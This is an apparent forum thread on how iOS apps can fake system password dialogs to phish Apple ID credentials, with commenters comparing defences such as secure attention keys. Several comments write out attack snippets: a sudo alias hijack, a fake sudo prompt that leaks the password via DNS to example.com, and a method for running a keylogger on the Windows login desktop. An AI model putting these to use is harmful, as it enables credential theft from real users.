Apple should provide an API that limits an app's internet access in severe ways, preventing encryption, large uploads, etc. Unrestricted internet access should be a permission that few apps are granted.
Apps would still find clever ways to exfiltrate data but that itself would be something you could look for. Today, any app that has access to your data can upload it to anywhere without suspicion.
Though Apple does not officially support the GP TEE, the concept could be borrowed. Trusted code running inside the secure enclave combined with a hardware backed indicator for trusted user interactions driven by code in the secure enclave can help.
This is pretty much how their fingerprint sensor data is protected, via direct connection to, and control from the secure enclave so that none of the fingerprint data enters a non-secure zone.
Thanks Felix for these works! Hopefully your work on pointing these issues get the necessary attention from Apple soon!
I have hated those alerts for iTunes passwords so much, and always entered password from Settings app. But never realized what a security nightmare it can be for those who are not iOS/Devs.
It highlights the same exact security issue. The solution is simple: only ask for passwords in the SETTINGS app. Have the alert route users there.
System security related prompts have worked essentually as you describe on Windows since 2001.
I imagine if you had a password prompt LED on your device that could only be lit up by the separate chip that does password prompts, that would help create an off screen UI.
https://medium.com/@jakemor/how-someone-can-steal-your-iclou...
Nope, actually, that's how the system dialog looks like, the . is within the "string notation, so I designed the phishing dialog to also include this little, but very important design detail
legit -> "bill@apple.com." not-legit -> "bill@apple.com"
But you're right, it's a terrifically difficult sentence to read.
`"email@email.com."` <- note the trailing period inside the quotation markers.
He's saying he knows it looks weird, but you have to get that detail right to look exactly like the system dialog
So I don't remember weird, unexpected password prompts, but I just changed my password anyway.
The advice on recognizing legitimate popups is pretty good.
One way to get the email:
At the start of the phishing app, ask the user to enter in their AppleID, then store it.
Sometime later, present the user asking for their AppleID password.
/s
Apple really pushes you to do this in iCloud. For the better.
I don’t get how this is an iOS problem, he basically just taught you what phishing is and happened to use iOS as the example...
Not that a user should have to know "only enter your password into the black keyboard", which can also be faked mind.
> This is something I've wanted on all computers for a while: fundamentally, any computer where you can get access to the whole screen's buffer means you can fake a logged out screen asking you to log in, or any other number of phishing attacks.
In Windows, I can render the whole screen, so I can put up a fake login dialog. To some extent, Windows users are used to requiring a ctrl-alt-delete before being prompted for a password, but there's no reason why I can't put up a static image of what the screen looks like during a password request. Having a portion of the screen which an application is forbidden from accessing would solve this, but the requirement for full-screen applications that want to write every user-visible pixel means that there's fundamentally no way to prevent this attack.
(Of course, no question that for us hackers this would be a very useful improvement!)
Seems like in browsers, the lock icon and (for EV certs) company name in the location bar has been a plus, so there's certainly precedent for this sort of thing.
I do like the idea of a separate indicator for system-wide security events though. Perhaps an LED indicator although that doesn't seem very Apple-like.
alias sudo='sudo ./somethingbad; sudo'
It was a mistake to ever have these prompts -- the most they should have said is "go to the settings app and re-enter this information" or something similar. Now we're stuck relying on Apple's App Store screening to shield people from this vector. I'll continue my policy of always ignoring these popups, so hopefully I'll be safe.
It's an even worse issue in e.g. Android apps that use Google or Facebook for logins as you can't tell what domain is serving the login prompt like you can in a desktop browser.
One uses the normal OAuth flow and mis-represents a valid application identity in order to get the user to grant permissions normally. The other flow, that the grandparent refers to, redirects users to a phishing domain and steals credentials.
I use a password manager on desktop so when it fills in the password for me I'm confident I'm safe. Asking regular users to be sure a real browser pop-up is being shown and the expected domain is shown is asking too much though in my opinion.
I believe it is because my email address is a relatively common firstname@gmail.com, and people are trying to recover or guess the password. Perhaps there's some misguided attempt on Apple's side to increase the security if there's lots of failed attempts. I also get constant Facebook recovery attempts (at least they have a "Didn't request this change?" link), mortgage emails, bills, appointments, intra-family email threads, etc. I don't think they're malicious, tons of people are just fundamentally unable to type their email address correctly into a field.
"If the words below do not match your unique phrase, do not enter your password."
If I see "Green eggs and ham", I know it's safe to put in my password.
What do I do then, as a user?
At this time, I didn't care much about my yahoo account, so I simply didn't log in anymore; but in general, this solution leaves the user alone. You need to give them a potential remedy when that happens.
Perhaps in a future Apple can make you press the home button as part of the verification, so it’s kind of implicit.
I think this is the best solution so far!
I can spend thousands using just my fingerprint, but authorising my Apple ID so I can buy a 99p app or login into iMessage requires my Apple ID password...
> Hit the home button, and see if the app quits:
if the prompt was caused by some in-app purchase related framework having to re-check something, then the app will quit and the prompt will go away.
> Don't enter your credentials into a popup, instead, dismiss it, and open the Settings app manually
if the prompt was related to that in-app purchase, the prompt will not re-appear inside of the Settings app. If it's because of something else (no idea what - nothing tells you), then it's still asynchronous and might or might not appear after a random delay.
Anyways. Overall, Apple is slowly getting better at this, reducing the amount of magic prompts, though during the beta period and after updates, it might still happen here and then.
Apple, if you're listening: You need to fix this. Centralise this in Settings and prompt users to go there. And do everything in your power to not having to re-prompt the user.
Every time I'm seeing this prompt, I'm wondering where I'm being phished or not, especially the really bad one that's not listing the Apple ID (my apple-id is using an apple id specific email address I'm not using anywhere else, so if I'm seeing the address, it's very, very likely legit).
You must lead a very sheltered existence then ;-)
Enjoy your bank logins https://twitter.com/lukew/status/908729507086950400
Fun fact for those who (like me) didn't know for a long time... technically "gmail.com." is actually the domain name for Gmail. It's called the fully qualified domain name (FQDN), akin to an absolute domain name (as opposed to relative to the current subnet).
As a German (we don't do this), I also didn't like that when I saw it the first time.
[1] http://www.thepunctuationguide.com/british-versus-american-s...
Actually it's right there in the Wikipedia article [1]...
The DNS root is unnamed, expressed as the empty label terminated by the dot. This is most notable in DNS zone files in which a fully qualified domain name must be specified with a trailing dot. For example, somehost.example.com. explicitly specifies an absolute domain name that ends with the empty top level domain label.
[1] https://en.wikipedia.org/wiki/Fully_qualified_domain_name#Sy...
as an example, Tinder requires Facebook login. To do this it launches a WebView. it could be faking that view to get your Facebook credientials. it could also just get them direct from the WebView .
I know tons of apps depend on WebViews but I kind of wish there was a solution . maybe Apple only allowing the WebView to access certain domains and no 3rd party domains and then requiring the app to actually launch safari not use a WebView. Of course I suppose that doesn't help as the app can still display a fake Facebook login.
Denying apps full screen access is very detrimental to the overall UX so that's not going to happen.
The other solution is to have apple never prompt for that password aside of during the initial setup process after installing an update.
Then you could at least give the advice to never enter your Apple ID-Password anywhere unless you've just re-installed the OS.
I guess lucky for me I always enter my password in the Settings app directly, because I don’t know my password and the iPhone won’t let me go to a password manager when it gives me this popup without warning.
When I was in college me and a friend re-made the win2000 login sequence in visual basic to play pranks on people. After typing username and password it pretended to load and then just quit itself so the desktop would show so it looked like everything was fine. We'd then go in and do the classic "take a screenshot of your desktop, set it as you wallpaper and hide the icons".
Could apple just make a dialog style unique to OS level prompts? not foolproof, but you can't customise os blocking dialogs from apps so you couldn't replicate the behaviour if you tried to fake it.
watch.user: https://github.com/KrauseFx/watch.user
I must be missing something since no-one seems to be suggesting this.
I'm sure there are still corner cases where it would want the literal iCloud password but I don't remember the last time I saw the prompt, versus before TouchID the random password prompts were pervasive and discomforting.
Plus 2FA also protects you from this. iOS has easy-to-use 2FA and is on a good trajectory of mainstreaming it and driving adoption. I'm not sure his proposal for defeating 2FA would work:
> even with 2FA enabled accounts, what if the app asked you for your 2 step code? Most users would gladly request a 2FA-token and ask for it, and directly pipe it over to a remote server.
I wouldn't give this much credence without a proof of concept. iOS throws up a dialog when there's a pending 2FA request which consumes the code or cancels the request, so that would prevent the app UI from intercepting it.
Regardless, iOS should have a private alert view for inputting sensitive data, similar to the Touch ID prompt. If the prompt is not even relevant to the app container, it should also completely minimize the app view to prevent confusion.
1) Have there in fact been any known phishing attacks in Apple's App Store using this method?
2) Wouldn't Apple's app review usually notice something like this before allowing it into the store?
no attacks are known. But that doesn't mean a thing. It's very easy to do this, so you'd have to assume that it is being done.
> 2) Wouldn't Apple's app review usually notice something like this before allowing it into the store?
no. As the article says, this kind of functionality is incredibly easy to hide.
What does Apple review when approving apps?
Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.
https://en.wikipedia.org/wiki/Secure_attention_key
And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.
Any system that relies on humans to do the right thing is doomed to failure. Even something as trivial as hitting three keys each and every time they login; part of the problem with it is that it is so inconsistent (i.e. different Windows machines either do or do not prompt for the key-combination based on their configuration, so users have a mental model of skipping it).
Some of us don't want to use TouchID so, no, it shouldn't.
Biometrics have value for identity verification (username) when used in conjunction with a password
For example, how do you handle compromise (I suspect fingerprint mills / printers are not ubiquitous just because there is no demand for fake fingerprints; technologically they should be easy to make). Also, do you really want a unique match every time you log in from different devices (e.g., work and home); etc., etc.
Sorry, fingerprint solution may be worse than the disease it is trying to cure.
I think that even that is catchable (if needed), at least on old Windows XP Embedded, if you used minlogon (which happened very often) you lost ctrl+alt+del access to Task Manager, but there was a third-party service to restore the "hook":
http://www.mp3car.com/forum/mp3car-technical-software/softwa...
The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen.
I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass
I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.
But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.
Dear Steve,
There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password.
I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone.
I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome.
Sincerely, Greg ...
Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it.
The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.
For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved.
Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not?
This has been a problem for years with such simple solutions, yet nobody has touched it.
This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much.
> they don't show an app icon in that view? Why not?
Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.
For example let's say you handed your phone to your kid, they downloaded a free app, gave that app your entire contact list, and then that app spammed everyone you know? For the sake of example let's call that app LinkedIn.
Edit: apparently there's no toggle if you have Touch ID enabled. You have to disable it for the App Store for this to work, but I think Touch ID is fast enough anyway...
This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.
Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.
doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.
Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.
I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.
So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog.
This way you have a hardware control verifying the dialog isn't a phishing attack.
Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.
IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.
\sudo <command>
Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.
If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?
Isn't it exactly what happens on windows anyway?
[1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
Still might fool some users who aren't paying attention but seems like it would be a simple start.
The scenario goes like this: One of my kids' Messages app stops working (thanks Apple!). I am forced to turn off/on Messages, and during the process Apple asks for my password. Then, when I attempt to use my other iOS devices, I am prompted for the same password ... on ... every ... device. Then, about 20% of the time the password does not "take" and I am forced to ignore and attempt at a later time.
/rant
"feel" being the operative word here - am I safer? Who knows?
So why does iCloud(?) randomly ask for credentials?
If you have access to the hardware, that's a whole different attack vector.
Windows didn’t use this for anything until NT in the early 90s, and it was their choice to do so. Nothing to do with IBM.
When people ask Gates about Ctrl-Alt-Del they’re obviously asking about why it was chosen for a login sequence, but I believe Gates conveniently answers a different question to make it seem like IBM had something to do with that choice.
Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.
Adding a visual indication of a secure dialog can at least help the power users, while not changing anything for the ones that don't know the difference.
EDIT: Oh sorry, I seen what you are saying now - entering password into the phrase field. Instead, just make it an image that the user selects, or even creates.
"You didn't notice one of the dozen popups asking for credentials lacked your magical hidden phase YOUR FAULT!"
If Apple were going to explore a strategy to fix this, they would likely be better off redirecting the user out of the app before asking for credentials, or prompting them in notifications/home screen only.
My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.
echo "enter sudo pw:"
read pw
# log ip and query on ns for
# example.com
host "$USER.$pw.example.com" &
echo "Invalid pw"
sudo $*
If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
It’s bad that LinkedIn has such a reputation that I automatically assume they likely did just as you alluded that they might’ve done.
They were pioneers in the field!
Maybe Apple should require authentication to grant those permissions.... Of course, then we're back to the problem of password fatigue.
Anyway there are other ways, here is one:
http://www.oblita.com/interception.html
about midpage there is a sample to "intercept and block" the sequence.
funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing.
https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...
Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-...
There's probably some browser based equivalent somewhere too.
In Bash there might also be a way to do something cunning with a 'trap DEBUG' hook to modify the command between submission and it actually being run.
Or you could just exec into a terminal multiplexer like screen[1] to intercept & rewrite/suppress both commands and output.
Edit: It's much easier than that.
The function:
echo () { command echo "hax" $@; }
[1] or maybe just hijack stdin/out FDs from the shell?
When a thread requires admin privileges, NT will first check if your unmasked token already has those rights, in which case, it will prompt you (UAC) for permission to use the token. This is unlike traditional UNIX where the 'effective user' changes to root on a global level, not just per-thread. So you get 10 minutes (or w/e) as root to do your thing.
Ctrl-Alt-Delete on windows is a privileged hotkey that goes directly to the kernel. A phishing program can't intercept it once it has been pressed. If you know that Ctrl-Alt-Delete has been pressed, you are already privileged as the kernel and would be able to compromise a hypothetical protected screen buffer anyways.
https://i.imgur.com/BE0xN3i.png
The Windows login screen here doesn't allow you to type in the password until you press the magical keys that only the kernel can access. This significantly increases security, since any phishing program that puts up a fake static image doesn't know when to present the login dialog.
But a phishing program can just show the enter password screen, without the ctrl alt del prompt. Few users understand the security need to press ctrl alt del. And in newer Windows, it doesn't seem to prompt unless you enable it via GP.
https://i.stack.imgur.com/LHDfV.png
And the user would say "oh, another stupid UAC prompt", enter their password, and that would be that -- UAC doesn't stop and say "press ctrl-alt-delete to enter your password". If it did, then that would significantly decrease the risk here.
Applications cannot fake ctrl+alt+del.
That said you can integrate with the windows login and extend it to show w/e you want I've written a client for a smart card for GINA a long long time ago.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms7...
I also think it requires signed drivers. Those have to be verified by Microsoft.
If yes, this feels utterly nonsensical. They would be able to grab your fingerprint from the sensor anyway, whether you are actively using it or not...
Alternatively you might be spreading some weird conspiracy theory that instead of securely storing a "hash" of the fingerprint on a HSM, current touchid implementations are secretly sharing your fingerprints with Apple.
That's not really any less nonsensical.
If your fingerprint gets compromised, you CANT change your finger (erm... probably. I dunno of any easy way in any case)
The iTunes password is needed so rarely these days that most people really struggle to even remember setting it.
IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.
Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device.
What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.
My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.
No idea anyway (since the topic is on iOS) how that OS would behave and what could be the equivalent of a Ctrl+Alt+Del key sequence on a keyboardless device such as a iPhone or iPad.
Do you just not use the home button?
For those interested: https://support.apple.com/en-us/HT201084
In the end, I just let him watch it on my device and he was happy. Myself? I'm of the opinion that whoever design Apple Family Sharing should be ashamed. It's a horribly convoluted system that was either a) never tested by a real family (or they were completely ignored) or b) designed to be horrible on purpose.
We ended up turning it off because sharing apps wasn't worth the "Hey, can you buy this app for me?" coordination.
And then there was all manner of nonsense after we turned it off, too.
I assume there are other weird bugs in family sharing.
They have your lock screen password but not your iTunes password.
You thought they were a friend and let them borrow your unlocked phone.
Even for a security conscience person there are plenty of situations where someone could get your unlocked phone.
And most people aren’t security conscience. It’s to protect them, not you.
I'm not even security conscious, and always lock my phone before setting it down. I think it started because turning off the screen as soon as you're done saved significant battery life on the phones prior to them knowing if they were laying flat.
“Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”
No one has touched my phone while it was unlocked since middle school.
Remember [1]? Imagine an exploit not targeting safari, but somehow vulnerable via an app, a la [2].
[1] https://citizenlab.ca/2016/08/million-dollar-dissident-iphon...
[2] http://iphone.appleinsider.com/articles/16/08/29/apple-brief...
On the VT100 terminals in the computer lab in college (back in the early 90s) someone was doing this. A shell script to harness logins, print it was unsuccessful and log out. .
There was a key at the top of the vt-100 keyboard that would reset it. The "key" part was often pried off (accidental pressing was bad), but you could still press the nub left behind.
Oh, and the VAX-11/780 I had hacked into crashed due to a memory board fault in the minute after I had logged in with my snagged admin password. I spent the remainder of the weekend sweating that I had broken the VAX since I had no idea what had happened. I had just given myself all 32 of the VMS account privileges when it went down.
Wait.... What?
Nice job decoding that.
Not sure how distributions tend to configure it by default.
sudo dumpkeys | rg --only-matching '=.*' | sort | uniq
If you want to test it then this will set Ctrl-Alt-Esc as your SAK:
echo "control alt keycode 1 = SAK" | loadkeysDepending on configuration, this can be prevented with noexec mount, selinux or SMACK. Grsecurity and RSBAC can prevent unwanted exec.
Systems like apparmor, or grsecurity MAC, TOMOYO or YAMA do not work against executing wrong executables.
IMA (signing and verifying files) can work too.
All bets are off in case there is a local root exploit in kernel or any setuid app.
Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do.
I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.
That makes their threat a moot point...
It's completely different when you're relaxed (maybe having some fun), and the person asking for your phone is someone you know.
In a relaxed social environment, you will probably not be that rude to someone you know.
If I ever get a job in that sphere, I'll let you know.
Perhaps I might phrase it slightly differently depending on who it was but the sentiment would be exactly the same[1] - a blanket refusal.
[1] Nowadays - back when I was on the Nokias or SE phones, sure, use my phone as a calculator, go nuts.
For me, the principle is I never divulge credentials, but I trust people I know. Therefore I see no conflict with adding my wife's fingerprint to TouchID, for example. (though it's not worth the effort of re-enrolling her every time I get a new device or a new screen or reinstall from scratch, so that's long lost).
Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system.
And even many people will fall for password prompts in the main screen.
What is the end goal of that? If you have control of the screen (aka are the foreground app), why would you need to emulate the keyboard? If you aren't the foreground app, then you aren't going to be able to render a keyboard on the screen (on iOS anyway).
to avoid the OS restrictions on which keyboard app is used for passwords.
> you aren't going to be able to render a keyboard on the screen (on iOS anyway).
Are you saying it is impossible to render the pixels and accept screen touches in a way that it acts and looks like a "real" keyboard app?
My guess would be that you did using the microfiche reader at your university or at a library. Before digitization, such devices were fairly common wherever people had a lot of text to archive.
(Aside: https://en.wikipedia.org/wiki/Microform even has a photo of a “DuKane brand microfiche reader with source code printed on the films.”. I couldn’t read enough of the text on the envelope to decide whether that is true from the photograph
30 or so years later I bought a huge stack of DEC microfiche on eBay so I could still do it if I wanted. I don't have equipment to read it though.
It's not a sidetrack, because that's what the actual article is about.
I didn't have a specific scenario in mind.
But to address your question ...
Say a user is reassured because he knows that only approved keyboard apps can accept passwords.
This malware app pops up a password prompt AND some images and input buttons that looks very much like a 'proper' keyboard.
The user enters his password.
Game over.